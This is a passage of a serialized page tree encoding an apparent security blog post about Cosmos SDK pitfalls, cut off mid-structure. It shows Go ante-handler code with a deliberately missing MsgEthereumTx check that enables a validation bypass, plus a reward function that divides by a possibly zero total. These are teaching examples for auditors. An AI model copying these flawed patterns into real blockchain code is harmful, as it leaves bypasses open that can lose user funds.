(",{"type":26,"tag":217,"props":80960,"children":80961},{"style":7054},[80962],{"type":32,"value":80963},"newCtx",{"type":26,"tag":217,"props":80965,"children":80966},{"style":7119},[80967],{"type":32,"value":79518},{"type":26,"tag":217,"props":80969,"children":80970},{"style":7048},[80971],{"type":32,"value":180},{"type":26,"tag":217,"props":80973,"children":80974},{"style":7119},[80975],{"type":32,"value":77200},{"type":26,"tag":217,"props":80977,"children":80978},{"style":7048},[80979],{"type":32,"value":7599},{"type":26,"tag":217,"props":80981,"children":80982},{"style":7054},[80983],{"type":32,"value":8675},{"type":26,"tag":217,"props":80985,"children":80986},{"style":7119},[80987],{"type":32,"value":80988}," error",{"type":26,"tag":217,"props":80990,"children":80991},{"style":7048},[80992],{"type":32,"value":7618},{"type":26,"tag":217,"props":80994,"children":80995},{"class":7028,"line":7553},[80996,81001,81006,81010,81014],{"type":26,"tag":217,"props":80997,"children":80998},{"style":7154},[80999],{"type":32,"value":81000},"        var",{"type":26,"tag":217,"props":81002,"children":81003},{"style":7054},[81004],{"type":32,"value":81005}," anteHandler",{"type":26,"tag":217,"props":81007,"children":81008},{"style":7119},[81009],{"type":32,"value":79518},{"type":26,"tag":217,"props":81011,"children":81012},{"style":7048},[81013],{"type":32,"value":180},{"type":26,"tag":217,"props":81015,"children":81016},{"style":7119},[81017],{"type":32,"value":81018},"AnteHandler\n",{"type":26,"tag":217,"props":81020,"children":81021},{"class":7028,"line":7570},[81022],{"type":26,"tag":217,"props":81023,"children":81024},{"emptyLinePlaceholder":17},[81025],{"type":32,"value":7817},{"type":26,"tag":217,"props":81027,"children":81028},{"class":7028,"line":7621},[81029,81034,81039,81043,81047,81051,81056,81060,81064,81068],{"type":26,"tag":217,"props":81030,"children":81031},{"style":7042},[81032],{"type":32,"value":81033},"        defer",{"type":26,"tag":217,"props":81035,"children":81036},{"style":7064},[81037],{"type":32,"value":81038}," Recover",{"type":26,"tag":217,"props":81040,"children":81041},{"style":7048},[81042],{"type":32,"value":1851},{"type":26,"tag":217,"props":81044,"children":81045},{"style":7054},[81046],{"type":32,"value":79895},{"type":26,"tag":217,"props":81048,"children":81049},{"style":7048},[81050],{"type":32,"value":180},{"type":26,"tag":217,"props":81052,"children":81053},{"style":7064},[81054],{"type":32,"value":81055},"Logger",{"type":26,"tag":217,"props":81057,"children":81058},{"style":7048},[81059],{"type":32,"value":59809},{"type":26,"tag":217,"props":81061,"children":81062},{"style":7149},[81063],{"type":32,"value":9804},{"type":26,"tag":217,"props":81065,"children":81066},{"style":7054},[81067],{"type":32,"value":8675},{"type":26,"tag":217,"props":81069,"children":81070},{"style":7048},[81071],{"type":32,"value":10025},{"type":26,"tag":217,"props":81073,"children":81074},{"class":7028,"line":7672},[81075],{"type":26,"tag":217,"props":81076,"children":81077},{"emptyLinePlaceholder":17},[81078],{"type":32,"value":7817},{"type":26,"tag":217,"props":81080,"children":81081},{"class":7028,"line":7681},[81082,81087,81091,81095,81099,81103,81107,81112,81116,81121],{"type":26,"tag":217,"props":81083,"children":81084},{"style":7054},[81085],{"type":32,"value":81086},"        txWithExtensions",{"type":26,"tag":217,"props":81088,"children":81089},{"style":7048},[81090],{"type":32,"value":7599},{"type":26,"tag":217,"props":81092,"children":81093},{"style":7054},[81094],{"type":32,"value":79645},{"type":26,"tag":217,"props":81096,"children":81097},{"style":7149},[81098],{"type":32,"value":77267},{"type":26,"tag":217,"props":81100,"children":81101},{"style":7054},[81102],{"type":32,"value":79654},{"type":26,"tag":217,"props":81104,"children":81105},{"style":7048},[81106],{"type":32,"value":79659},{"type":26,"tag":217,"props":81108,"children":81109},{"style":7119},[81110],{"type":32,"value":81111},"authante",{"type":26,"tag":217,"props":81113,"children":81114},{"style":7048},[81115],{"type":32,"value":180},{"type":26,"tag":217,"props":81117,"children":81118},{"style":7119},[81119],{"type":32,"value":81120},"HasExtensionOptionsTx",{"type":26,"tag":217,"props":81122,"children":81123},{"style":7048},[81124],{"type":32,"value":10025},{"type":26,"tag":217,"props":81126,"children":81127},{"class":7028,"line":7754},[81128,81132,81137],{"type":26,"tag":217,"props":81129,"children":81130},{"style":7042},[81131],{"type":32,"value":12497},{"type":26,"tag":217,"props":81133,"children":81134},{"style":7054},[81135],{"type":32,"value":81136}," ok",{"type":26,"tag":217,"props":81138,"children":81139},{"style":7048},[81140],{"type":32,"value":8064},{"type":26,"tag":217,"props":81142,"children":81143},{"class":7028,"line":7784},[81144,81149,81153,81158,81162,81167],{"type":26,"tag":217,"props":81145,"children":81146},{"style":7054},[81147],{"type":32,"value":81148},"            opts",{"type":26,"tag":217,"props":81150,"children":81151},{"style":7149},[81152],{"type":32,"value":77267},{"type":26,"tag":217,"props":81154,"children":81155},{"style":7054},[81156],{"type":32,"value":81157}," txWithExtensions",{"type":26,"tag":217,"props":81159,"children":81160},{"style":7048},[81161],{"type":32,"value":180},{"type":26,"tag":217,"props":81163,"children":81164},{"style":7064},[81165],{"type":32,"value":81166},"GetExtensionOptions",{"type":26,"tag":217,"props":81168,"children":81169},{"style":7048},[81170],{"type":32,"value":64888},{"type":26,"tag":217,"props":81172,"children":81173},{"class":7028,"line":7802},[81174,81178,81183,81187,81192,81196,81200,81204],{"type":26,"tag":217,"props":81175,"children":81176},{"style":7042},[81177],{"type":32,"value":59922},{"type":26,"tag":217,"props":81179,"children":81180},{"style":7064},[81181],{"type":32,"value":81182}," len",{"type":26,"tag":217,"props":81184,"children":81185},{"style":7048},[81186],{"type":32,"value":1851},{"type":26,"tag":217,"props":81188,"children":81189},{"style":7054},[81190],{"type":32,"value":81191},"opts",{"type":26,"tag":217,"props":81193,"children":81194},{"style":7048},[81195],{"type":32,"value":8380},{"type":26,"tag":217,"props":81197,"children":81198},{"style":7149},[81199],{"type":32,"value":5903},{"type":26,"tag":217,"props":81201,"children":81202},{"style":7130},[81203],{"type":32,"value":9922},{"type":26,"tag":217,"props":81205,"children":81206},{"style":7048},[81207],{"type":32,"value":8064},{"type":26,"tag":217,"props":81209,"children":81210},{"class":7028,"line":7811},[81211,81216,81221,81225,81230,81234,81238,81242,81247,81252,81257],{"type":26,"tag":217,"props":81212,"children":81213},{"style":7042},[81214],{"type":32,"value":81215},"                switch",{"type":26,"tag":217,"props":81217,"children":81218},{"style":7054},[81219],{"type":32,"value":81220}," typeURL",{"type":26,"tag":217,"props":81222,"children":81223},{"style":7149},[81224],{"type":32,"value":77267},{"type":26,"tag":217,"props":81226,"children":81227},{"style":7054},[81228],{"type":32,"value":81229}," opts",{"type":26,"tag":217,"props":81231,"children":81232},{"style":7048},[81233],{"type":32,"value":7127},{"type":26,"tag":217,"props":81235,"children":81236},{"style":7130},[81237],{"type":32,"value":1883},{"type":26,"tag":217,"props":81239,"children":81240},{"style":7048},[81241],{"type":32,"value":68283},{"type":26,"tag":217,"props":81243,"children":81244},{"style":7064},[81245],{"type":32,"value":81246},"GetTypeUrl",{"type":26,"tag":217,"props":81248,"children":81249},{"style":7048},[81250],{"type":32,"value":81251},"(); ",{"type":26,"tag":217,"props":81253,"children":81254},{"style":7054},[81255],{"type":32,"value":81256},"typeURL",{"type":26,"tag":217,"props":81258,"children":81259},{"style":7048},[81260],{"type":32,"value":8064},{"type":26,"tag":217,"props":81262,"children":81263},{"class":7028,"line":7820},[81264,81269,81274],{"type":26,"tag":217,"props":81265,"children":81266},{"style":7042},[81267],{"type":32,"value":81268},"                case",{"type":26,"tag":217,"props":81270,"children":81271},{"style":7338},[81272],{"type":32,"value":81273}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":26,"tag":217,"props":81275,"children":81276},{"style":7048},[81277],{"type":32,"value":81278},":\n",{"type":26,"tag":217,"props":81280,"children":81281},{"class":7028,"line":7844},[81282],{"type":26,"tag":217,"props":81283,"children":81284},{"style":7033},[81285],{"type":32,"value":81286},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":26,"tag":217,"props":81288,"children":81289},{"class":7028,"line":7910},[81290],{"type":26,"tag":217,"props":81291,"children":81292},{"emptyLinePlaceholder":17},[81293],{"type":32,"value":7817},{"type":26,"tag":217,"props":81295,"children":81296},{"class":7028,"line":7954},[81297,81302,81306,81310,81314,81319],{"type":26,"tag":217,"props":81298,"children":81299},{"style":7054},[81300],{"type":32,"value":81301},"                    anteHandler",{"type":26,"tag":217,"props":81303,"children":81304},{"style":7149},[81305],{"type":32,"value":8993},{"type":26,"tag":217,"props":81307,"children":81308},{"style":7054},[81309],{"type":32,"value":79518},{"type":26,"tag":217,"props":81311,"children":81312},{"style":7048},[81313],{"type":32,"value":180},{"type":26,"tag":217,"props":81315,"children":81316},{"style":7064},[81317],{"type":32,"value":81318},"ChainAnteDecorators",{"type":26,"tag":217,"props":81320,"children":81321},{"style":7048},[81322],{"type":32,"value":10932},{"type":26,"tag":217,"props":81324,"children":81325},{"class":7028,"line":7985},[81326,81331,81335],{"type":26,"tag":217,"props":81327,"children":81328},{"style":7064},[81329],{"type":32,"value":81330},"                        NewEthSetUpContextDecorator",{"type":26,"tag":217,"props":81332,"children":81333},{"style":7048},[81334],{"type":32,"value":59809},{"type":26,"tag":217,"props":81336,"children":81337},{"style":7033},[81338],{"type":32,"value":80176},{"type":26,"tag":217,"props":81340,"children":81341},{"class":7028,"line":8027},[81342],{"type":26,"tag":217,"props":81343,"children":81344},{"style":7149},[81345],{"type":32,"value":81346},"                        ...\n",{"type":26,"tag":217,"props":81348,"children":81349},{"class":7028,"line":8035},[81350,81355,81359,81364,81368],{"type":26,"tag":217,"props":81351,"children":81352},{"style":7064},[81353],{"type":32,"value":81354},"                        NewEthIncrementSenderSequenceDecorator",{"type":26,"tag":217,"props":81356,"children":81357},{"style":7048},[81358],{"type":32,"value":1851},{"type":26,"tag":217,"props":81360,"children":81361},{"style":7054},[81362],{"type":32,"value":81363},"ak",{"type":26,"tag":217,"props":81365,"children":81366},{"style":7048},[81367],{"type":32,"value":5407},{"type":26,"tag":217,"props":81369,"children":81370},{"style":7033},[81371],{"type":32,"value":81372},"// innermost AnteDecorator.\n",{"type":26,"tag":217,"props":81374,"children":81375},{"class":7028,"line":8067},[81376],{"type":26,"tag":217,"props":81377,"children":81378},{"style":7048},[81379],{"type":32,"value":81380},"                    )\n",{"type":26,"tag":217,"props":81382,"children":81383},{"class":7028,"line":8107},[81384],{"type":26,"tag":217,"props":81385,"children":81386},{"emptyLinePlaceholder":17},[81387],{"type":32,"value":7817},{"type":26,"tag":217,"props":81389,"children":81390},{"class":7028,"line":8145},[81391,81396],{"type":26,"tag":217,"props":81392,"children":81393},{"style":7042},[81394],{"type":32,"value":81395},"                default",{"type":26,"tag":217,"props":81397,"children":81398},{"style":7048},[81399],{"type":32,"value":81278},{"type":26,"tag":217,"props":81401,"children":81402},{"class":7028,"line":8154},[81403,81408,81412,81416,81421,81425,81430],{"type":26,"tag":217,"props":81404,"children":81405},{"style":7042},[81406],{"type":32,"value":81407},"                    return",{"type":26,"tag":217,"props":81409,"children":81410},{"style":7054},[81411],{"type":32,"value":79708},{"type":26,"tag":217,"props":81413,"children":81414},{"style":7048},[81415],{"type":32,"value":7599},{"type":26,"tag":217,"props":81417,"children":81418},{"style":7054},[81419],{"type":32,"value":81420},"stacktrace",{"type":26,"tag":217,"props":81422,"children":81423},{"style":7048},[81424],{"type":32,"value":180},{"type":26,"tag":217,"props":81426,"children":81427},{"style":7064},[81428],{"type":32,"value":81429},"Propagate",{"type":26,"tag":217,"props":81431,"children":81432},{"style":7048},[81433],{"type":32,"value":10932},{"type":26,"tag":217,"props":81435,"children":81436},{"class":7028,"line":8162},[81437,81442,81446,81450,81454,81459,81463,81468,81472,81476],{"type":26,"tag":217,"props":81438,"children":81439},{"style":7054},[81440],{"type":32,"value":81441},"                        sdkerrors",{"type":26,"tag":217,"props":81443,"children":81444},{"style":7048},[81445],{"type":32,"value":180},{"type":26,"tag":217,"props":81447,"children":81448},{"style":7064},[81449],{"type":32,"value":79726},{"type":26,"tag":217,"props":81451,"children":81452},{"style":7048},[81453],{"type":32,"value":1851},{"type":26,"tag":217,"props":81455,"children":81456},{"style":7054},[81457],{"type":32,"value":81458},"sdkerrors",{"type":26,"tag":217,"props":81460,"children":81461},{"style":7048},[81462],{"type":32,"value":180},{"type":26,"tag":217,"props":81464,"children":81465},{"style":7054},[81466],{"type":32,"value":81467},"ErrUnknownExtensionOptions",{"type":26,"tag":217,"props":81469,"children":81470},{"style":7048},[81471],{"type":32,"value":7599},{"type":26,"tag":217,"props":81473,"children":81474},{"style":7054},[81475],{"type":32,"value":81256},{"type":26,"tag":217,"props":81477,"children":81478},{"style":7048},[81479],{"type":32,"value":13841},{"type":26,"tag":217,"props":81481,"children":81482},{"class":7028,"line":8197},[81483,81488],{"type":26,"tag":217,"props":81484,"children":81485},{"style":7338},[81486],{"type":32,"value":81487},"                        \"rejecting tx with unsupported extension option\"",{"type":26,"tag":217,"props":81489,"children":81490},{"style":7048},[81491],{"type":32,"value":10953},{"type":26,"tag":217,"props":81493,"children":81494},{"class":7028,"line":8220},[81495],{"type":26,"tag":217,"props":81496,"children":81497},{"style":7048},[81498],{"type":32,"value":81380},{"type":26,"tag":217,"props":81500,"children":81501},{"class":7028,"line":8228},[81502],{"type":26,"tag":217,"props":81503,"children":81504},{"style":7048},[81505],{"type":32,"value":13407},{"type":26,"tag":217,"props":81507,"children":81508},{"class":7028,"line":8292},[81509],{"type":26,"tag":217,"props":81510,"children":81511},{"emptyLinePlaceholder":17},[81512],{"type":32,"value":7817},{"type":26,"tag":217,"props":81514,"children":81515},{"class":7028,"line":8351},[81516,81521,81525,81529,81533,81537,81541,81545,81549],{"type":26,"tag":217,"props":81517,"children":81518},{"style":7042},[81519],{"type":32,"value":81520},"                return",{"type":26,"tag":217,"props":81522,"children":81523},{"style":7064},[81524],{"type":32,"value":81005},{"type":26,"tag":217,"props":81526,"children":81527},{"style":7048},[81528],{"type":32,"value":1851},{"type":26,"tag":217,"props":81530,"children":81531},{"style":7054},[81532],{"type":32,"value":79895},{"type":26,"tag":217,"props":81534,"children":81535},{"style":7048},[81536],{"type":32,"value":7599},{"type":26,"tag":217,"props":81538,"children":81539},{"style":7054},[81540],{"type":32,"value":80062},{"type":26,"tag":217,"props":81542,"children":81543},{"style":7048},[81544],{"type":32,"value":7599},{"type":26,"tag":217,"props":81546,"children":81547},{"style":7054},[81548],{"type":32,"value":80942},{"type":26,"tag":217,"props":81550,"children":81551},{"style":7048},[81552],{"type":32,"value":10025},{"type":26,"tag":217,"props":81554,"children":81555},{"class":7028,"line":8391},[81556],{"type":26,"tag":217,"props":81557,"children":81558},{"style":7048},[81559],{"type":32,"value":36205},{"type":26,"tag":217,"props":81561,"children":81562},{"class":7028,"line":8439},[81563],{"type":26,"tag":217,"props":81564,"children":81565},{"style":7048},[81566],{"type":32,"value":8722},{"type":26,"tag":217,"props":81568,"children":81569},{"class":7028,"line":8448},[81570],{"type":26,"tag":217,"props":81571,"children":81572},{"emptyLinePlaceholder":17},[81573],{"type":32,"value":7817},{"type":26,"tag":217,"props":81575,"children":81576},{"class":7028,"line":8456},[81577],{"type":26,"tag":217,"props":81578,"children":81579},{"style":7033},[81580],{"type":32,"value":81581},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":26,"tag":217,"props":81583,"children":81584},{"class":7028,"line":8500},[81585],{"type":26,"tag":217,"props":81586,"children":81587},{"emptyLinePlaceholder":17},[81588],{"type":32,"value":7817},{"type":26,"tag":217,"props":81590,"children":81591},{"class":7028,"line":8535},[81592,81597,81601,81605,81609],{"type":26,"tag":217,"props":81593,"children":81594},{"style":7042},[81595],{"type":32,"value":81596},"        switch",{"type":26,"tag":217,"props":81598,"children":81599},{"style":7054},[81600],{"type":32,"value":79654},{"type":26,"tag":217,"props":81602,"children":81603},{"style":7048},[81604],{"type":32,"value":79659},{"type":26,"tag":217,"props":81606,"children":81607},{"style":7154},[81608],{"type":32,"value":16194},{"type":26,"tag":217,"props":81610,"children":81611},{"style":7048},[81612],{"type":32,"value":7618},{"type":26,"tag":217,"props":81614,"children":81615},{"class":7028,"line":8664},[81616,81621,81625,81629,81633],{"type":26,"tag":217,"props":81617,"children":81618},{"style":7042},[81619],{"type":32,"value":81620},"        case",{"type":26,"tag":217,"props":81622,"children":81623},{"style":7119},[81624],{"type":32,"value":79518},{"type":26,"tag":217,"props":81626,"children":81627},{"style":7048},[81628],{"type":32,"value":180},{"type":26,"tag":217,"props":81630,"children":81631},{"style":7119},[81632],{"type":32,"value":79551},{"type":26,"tag":217,"props":81634,"children":81635},{"style":7048},[81636],{"type":32,"value":81278},{"type":26,"tag":217,"props":81638,"children":81639},{"class":7028,"line":8700},[81640,81645,81649,81653,81657,81661],{"type":26,"tag":217,"props":81641,"children":81642},{"style":7054},[81643],{"type":32,"value":81644},"            anteHandler",{"type":26,"tag":217,"props":81646,"children":81647},{"style":7149},[81648],{"type":32,"value":8993},{"type":26,"tag":217,"props":81650,"children":81651},{"style":7054},[81652],{"type":32,"value":79518},{"type":26,"tag":217,"props":81654,"children":81655},{"style":7048},[81656],{"type":32,"value":180},{"type":26,"tag":217,"props":81658,"children":81659},{"style":7064},[81660],{"type":32,"value":81318},{"type":26,"tag":217,"props":81662,"children":81663},{"style":7048},[81664],{"type":32,"value":10932},{"type":26,"tag":217,"props":81666,"children":81667},{"class":7028,"line":8708},[81668,81673,81677,81682,81686],{"type":26,"tag":217,"props":81669,"children":81670},{"style":7054},[81671],{"type":32,"value":81672},"                authante",{"type":26,"tag":217,"props":81674,"children":81675},{"style":7048},[81676],{"type":32,"value":180},{"type":26,"tag":217,"props":81678,"children":81679},{"style":7064},[81680],{"type":32,"value":81681},"NewSetUpContextDecorator",{"type":26,"tag":217,"props":81683,"children":81684},{"style":7048},[81685],{"type":32,"value":59809},{"type":26,"tag":217,"props":81687,"children":81688},{"style":7033},[81689],{"type":32,"value":80176},{"type":26,"tag":217,"props":81691,"children":81692},{"class":7028,"line":8716},[81693],{"type":26,"tag":217,"props":81694,"children":81695},{"style":7149},[81696],{"type":32,"value":81697},"                 ...\n",{"type":26,"tag":217,"props":81699,"children":81700},{"class":7028,"line":8725},[81701,81705,81709,81714,81718,81722,81726],{"type":26,"tag":217,"props":81702,"children":81703},{"style":7054},[81704],{"type":32,"value":81672},{"type":26,"tag":217,"props":81706,"children":81707},{"style":7048},[81708],{"type":32,"value":180},{"type":26,"tag":217,"props":81710,"children":81711},{"style":7064},[81712],{"type":32,"value":81713},"NewIncrementSequenceDecorator",{"type":26,"tag":217,"props":81715,"children":81716},{"style":7048},[81717],{"type":32,"value":1851},{"type":26,"tag":217,"props":81719,"children":81720},{"style":7054},[81721],{"type":32,"value":81363},{"type":26,"tag":217,"props":81723,"children":81724},{"style":7048},[81725],{"type":32,"value":5407},{"type":26,"tag":217,"props":81727,"children":81728},{"style":7033},[81729],{"type":32,"value":81730},"// innermost AnteDecorator\n",{"type":26,"tag":217,"props":81732,"children":81733},{"class":7028,"line":8738},[81734],{"type":26,"tag":217,"props":81735,"children":81736},{"style":7048},[81737],{"type":32,"value":78380},{"type":26,"tag":217,"props":81739,"children":81740},{"class":7028,"line":8755},[81741,81746],{"type":26,"tag":217,"props":81742,"children":81743},{"style":7042},[81744],{"type":32,"value":81745},"        default",{"type":26,"tag":217,"props":81747,"children":81748},{"style":7048},[81749],{"type":32,"value":81278},{"type":26,"tag":217,"props":81751,"children":81752},{"class":7028,"line":8771},[81753,81757,81761,81765,81769,81773,81777],{"type":26,"tag":217,"props":81754,"children":81755},{"style":7042},[81756],{"type":32,"value":7790},{"type":26,"tag":217,"props":81758,"children":81759},{"style":7054},[81760],{"type":32,"value":79708},{"type":26,"tag":217,"props":81762,"children":81763},{"style":7048},[81764],{"type":32,"value":7599},{"type":26,"tag":217,"props":81766,"children":81767},{"style":7054},[81768],{"type":32,"value":81420},{"type":26,"tag":217,"props":81770,"children":81771},{"style":7048},[81772],{"type":32,"value":180},{"type":26,"tag":217,"props":81774,"children":81775},{"style":7064},[81776],{"type":32,"value":81429},{"type":26,"tag":217,"props":81778,"children":81779},{"style":7048},[81780],{"type":32,"value":10932},{"type":26,"tag":217,"props":81782,"children":81783},{"class":7028,"line":13956},[81784,81789,81793,81798,81802,81806,81810,81815,81819,81824,81828,81832],{"type":26,"tag":217,"props":81785,"children":81786},{"style":7054},[81787],{"type":32,"value":81788},"                sdkerrors",{"type":26,"tag":217,"props":81790,"children":81791},{"style":7048},[81792],{"type":32,"value":180},{"type":26,"tag":217,"props":81794,"children":81795},{"style":7064},[81796],{"type":32,"value":81797},"Wrapf",{"type":26,"tag":217,"props":81799,"children":81800},{"style":7048},[81801],{"type":32,"value":1851},{"type":26,"tag":217,"props":81803,"children":81804},{"style":7054},[81805],{"type":32,"value":81458},{"type":26,"tag":217,"props":81807,"children":81808},{"style":7048},[81809],{"type":32,"value":180},{"type":26,"tag":217,"props":81811,"children":81812},{"style":7054},[81813],{"type":32,"value":81814},"ErrUnknownRequest",{"type":26,"tag":217,"props":81816,"children":81817},{"style":7048},[81818],{"type":32,"value":7599},{"type":26,"tag":217,"props":81820,"children":81821},{"style":7338},[81822],{"type":32,"value":81823},"\"invalid transaction type: %T\"",{"type":26,"tag":217,"props":81825,"children":81826},{"style":7048},[81827],{"type":32,"value":7599},{"type":26,"tag":217,"props":81829,"children":81830},{"style":7054},[81831],{"type":32,"value":80062},{"type":26,"tag":217,"props":81833,"children":81834},{"style":7048},[81835],{"type":32,"value":13841},{"type":26,"tag":217,"props":81837,"children":81838},{"class":7028,"line":13964},[81839,81844],{"type":26,"tag":217,"props":81840,"children":81841},{"style":7338},[81842],{"type":32,"value":81843},"                \"transaction is not an SDK tx\"",{"type":26,"tag":217,"props":81845,"children":81846},{"style":7048},[81847],{"type":32,"value":10953},{"type":26,"tag":217,"props":81849,"children":81850},{"class":7028,"line":14021},[81851],{"type":26,"tag":217,"props":81852,"children":81853},{"style":7048},[81854],{"type":32,"value":78380},{"type":26,"tag":217,"props":81856,"children":81857},{"class":7028,"line":14034},[81858],{"type":26,"tag":217,"props":81859,"children":81860},{"style":7048},[81861],{"type":32,"value":8722},{"type":26,"tag":217,"props":81863,"children":81864},{"class":7028,"line":14043},[81865],{"type":26,"tag":217,"props":81866,"children":81867},{"emptyLinePlaceholder":17},[81868],{"type":32,"value":7817},{"type":26,"tag":217,"props":81870,"children":81871},{"class":7028,"line":14051},[81872,81876,81880,81884,81888,81892,81896,81900,81904],{"type":26,"tag":217,"props":81873,"children":81874},{"style":7042},[81875],{"type":32,"value":9737},{"type":26,"tag":217,"props":81877,"children":81878},{"style":7064},[81879],{"type":32,"value":81005},{"type":26,"tag":217,"props":81881,"children":81882},{"style":7048},[81883],{"type":32,"value":1851},{"type":26,"tag":217,"props":81885,"children":81886},{"style":7054},[81887],{"type":32,"value":79895},{"type":26,"tag":217,"props":81889,"children":81890},{"style":7048},[81891],{"type":32,"value":7599},{"type":26,"tag":217,"props":81893,"children":81894},{"style":7054},[81895],{"type":32,"value":80062},{"type":26,"tag":217,"props":81897,"children":81898},{"style":7048},[81899],{"type":32,"value":7599},{"type":26,"tag":217,"props":81901,"children":81902},{"style":7054},[81903],{"type":32,"value":80942},{"type":26,"tag":217,"props":81905,"children":81906},{"style":7048},[81907],{"type":32,"value":10025},{"type":26,"tag":217,"props":81909,"children":81910},{"class":7028,"line":14114},[81911],{"type":26,"tag":217,"props":81912,"children":81913},{"style":7048},[81914],{"type":32,"value":9754},{"type":26,"tag":217,"props":81916,"children":81917},{"class":7028,"line":14127},[81918],{"type":26,"tag":217,"props":81919,"children":81920},{"style":7048},[81921],{"type":32,"value":7184},{"type":26,"tag":39,"props":81923,"children":81924},{},[81925,81927,81932,81934,81941,81942,81949],{"type":32,"value":81926},"Additional examples of incorrect ",{"type":26,"tag":83,"props":81928,"children":81930},{"className":81929},[],[81931],{"type":32,"value":79346},{"type":32,"value":81933}," usage include ",{"type":26,"tag":163,"props":81935,"children":81938},{"href":81936,"rel":81937},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[167],[81939],{"type":32,"value":81940},"yet more bypassable checks and loss of funds",{"type":32,"value":1308},{"type":26,"tag":163,"props":81943,"children":81946},{"href":81944,"rel":81945},"https://github.com/cosmos/ibc-go/issues/853",[167],[81947],{"type":32,"value":81948},"incorrect data passing between blockchains",{"type":32,"value":180},{"type":26,"tag":27,"props":81951,"children":81953},{"id":81952},"errors-panics-i-can-handle-it",[81954],{"type":32,"value":81955},"Errors? Panics? I can handle it",{"type":26,"tag":39,"props":81957,"children":81958},{},[81959],{"type":32,"value":81960},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":26,"tag":39,"props":81962,"children":81963},{},[81964],{"type":32,"value":81965},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":26,"tag":39,"props":81967,"children":81968},{},[81969,81971,81977,81979,81984],{"type":32,"value":81970},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":26,"tag":83,"props":81972,"children":81974},{"className":81973},[],[81975],{"type":32,"value":81976},"k.keeper.TotalReward()",{"type":32,"value":81978}," returns zero, the ",{"type":26,"tag":83,"props":81980,"children":81982},{"className":81981},[],[81983],{"type":32,"value":7712},{"type":32,"value":81985}," execution will simply rollback as if nothing has happened.",{"type":26,"tag":207,"props":81987,"children":81989},{"code":81988,"language":77016,"meta":8,"className":77017,"style":8},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[81990],{"type":26,"tag":83,"props":81991,"children":81992},{"__ignoreMap":8},[81993,82026,82049,82077,82113,82120,82189,82227,82234,82266],{"type":26,"tag":217,"props":81994,"children":81995},{"class":7028,"line":7029},[81996,82000,82004,82009,82013,82017,82022],{"type":26,"tag":217,"props":81997,"children":81998},{"style":7154},[81999],{"type":32,"value":26409},{"type":26,"tag":217,"props":82001,"children":82002},{"style":7048},[82003],{"type":32,"value":7051},{"type":26,"tag":217,"props":82005,"children":82006},{"style":7054},[82007],{"type":32,"value":82008},"k ",{"type":26,"tag":217,"props":82010,"children":82011},{"style":7119},[82012],{"type":32,"value":77166},{"type":26,"tag":217,"props":82014,"children":82015},{"style":7048},[82016],{"type":32,"value":8380},{"type":26,"tag":217,"props":82018,"children":82019},{"style":7064},[82020],{"type":32,"value":82021},"AllocateReward",{"type":26,"tag":217,"props":82023,"children":82024},{"style":7048},[82025],{"type":32,"value":10932},{"type":26,"tag":217,"props":82027,"children":82028},{"class":7028,"line":6770},[82029,82033,82037,82041,82045],{"type":26,"tag":217,"props":82030,"children":82031},{"style":7054},[82032],{"type":32,"value":77187},{"type":26,"tag":217,"props":82034,"children":82035},{"style":7119},[82036],{"type":32,"value":59568},{"type":26,"tag":217,"props":82038,"children":82039},{"style":7048},[82040],{"type":32,"value":180},{"type":26,"tag":217,"props":82042,"children":82043},{"style":7119},[82044],{"type":32,"value":77200},{"type":26,"tag":217,"props":82046,"children":82047},{"style":7048},[82048],{"type":32,"value":10953},{"type":26,"tag":217,"props":82050,"children":82051},{"class":7028,"line":6779},[82052,82056,82060,82064,82068,82073],{"type":26,"tag":217,"props":82053,"children":82054},{"style":7054},[82055],{"type":32,"value":77212},{"type":26,"tag":217,"props":82057,"children":82058},{"style":7149},[82059],{"type":32,"value":9690},{"type":26,"tag":217,"props":82061,"children":82062},{"style":7119},[82063],{"type":32,"value":78922},{"type":26,"tag":217,"props":82065,"children":82066},{"style":7048},[82067],{"type":32,"value":180},{"type":26,"tag":217,"props":82069,"children":82070},{"style":7119},[82071],{"type":32,"value":82072},"MsgAllocateReward",{"type":26,"tag":217,"props":82074,"children":82075},{"style":7048},[82076],{"type":32,"value":10025},{"type":26,"tag":217,"props":82078,"children":82079},{"class":7028,"line":7140},[82080,82084,82088,82092,82096,82101,82105,82109],{"type":26,"tag":217,"props":82081,"children":82082},{"style":7048},[82083],{"type":32,"value":1851},{"type":26,"tag":217,"props":82085,"children":82086},{"style":7149},[82087],{"type":32,"value":10006},{"type":26,"tag":217,"props":82089,"children":82090},{"style":7119},[82091],{"type":32,"value":78922},{"type":26,"tag":217,"props":82093,"children":82094},{"style":7048},[82095],{"type":32,"value":180},{"type":26,"tag":217,"props":82097,"children":82098},{"style":7119},[82099],{"type":32,"value":82100},"MsgAllocatRewardResponse",{"type":26,"tag":217,"props":82102,"children":82103},{"style":7048},[82104],{"type":32,"value":7599},{"type":26,"tag":217,"props":82106,"children":82107},{"style":7119},[82108],{"type":32,"value":7747},{"type":26,"tag":217,"props":82110,"children":82111},{"style":7048},[82112],{"type":32,"value":7618},{"type":26,"tag":217,"props":82114,"children":82115},{"class":7028,"line":7165},[82116],{"type":26,"tag":217,"props":82117,"children":82118},{"emptyLinePlaceholder":17},[82119],{"type":32,"value":7817},{"type":26,"tag":217,"props":82121,"children":82122},{"class":7028,"line":7178},[82123,82128,82132,82137,82141,82146,82150,82155,82159,82163,82168,82172,82176,82180,82185],{"type":26,"tag":217,"props":82124,"children":82125},{"style":7054},[82126],{"type":32,"value":82127},"    RewardPerShare",{"type":26,"tag":217,"props":82129,"children":82130},{"style":7149},[82131],{"type":32,"value":77267},{"type":26,"tag":217,"props":82133,"children":82134},{"style":7054},[82135],{"type":32,"value":82136}," 